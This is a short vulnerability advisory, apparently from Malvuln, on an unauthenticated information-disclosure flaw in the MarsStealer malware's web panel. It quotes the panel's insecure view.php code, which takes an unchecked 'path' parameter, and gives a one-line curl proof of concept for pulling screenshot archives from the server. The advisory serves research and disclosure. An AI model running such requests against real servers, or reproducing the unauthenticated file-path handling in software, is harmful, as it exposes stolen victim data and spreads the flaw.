Win32.MarsStealer Web Panel Information Disclosure

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/8abb41f6e7010d70c90f65fd9a740faa.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Win32.MarsStealer Web Panel  
Vulnerability: Unauthenticated Remote Information Disclosure  
Description: The malware web interface stores screen captures named "screenshot.jpg" in the panel directory, ZIP archived. Third-party attackers who can reach the Mars web server can download any screenshots as no valid session or authentication check is done.  
  
view.php PHP code.  
  
$z = new ZipArchive();  
$file ='screenshot.jpg';   
$path = $_GET["path"];  
if ($z->open(realpath($path)))   
{  
$stat = $z->statName($file);  
$fp = $z->getStream($file);   
  
header('Content-Type: image/jpeg');   
header('Content-Length: ' . $stat['size']);   
fpassthru($fp);   
}  
else  
{  
echo "file not found";  
}  
  
  
Type: WebUI  
MD5: 8abb41f6e7010d70c90f65fd9a740faa (MarsStealer_Menu.exe)  
MD5: 03c2c5cb3dba09bfa479fd5c50b5a2cf (dashboard.php)  
Vuln ID: MVID-2022-0451  
Disclosure: 01/15/2022  
  
Exploit/PoC:  
curl http://MARSSTEALER_SERVER/mars/panel/view.php?path=screenshot.zip --output screendump.jpg  
  
  
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`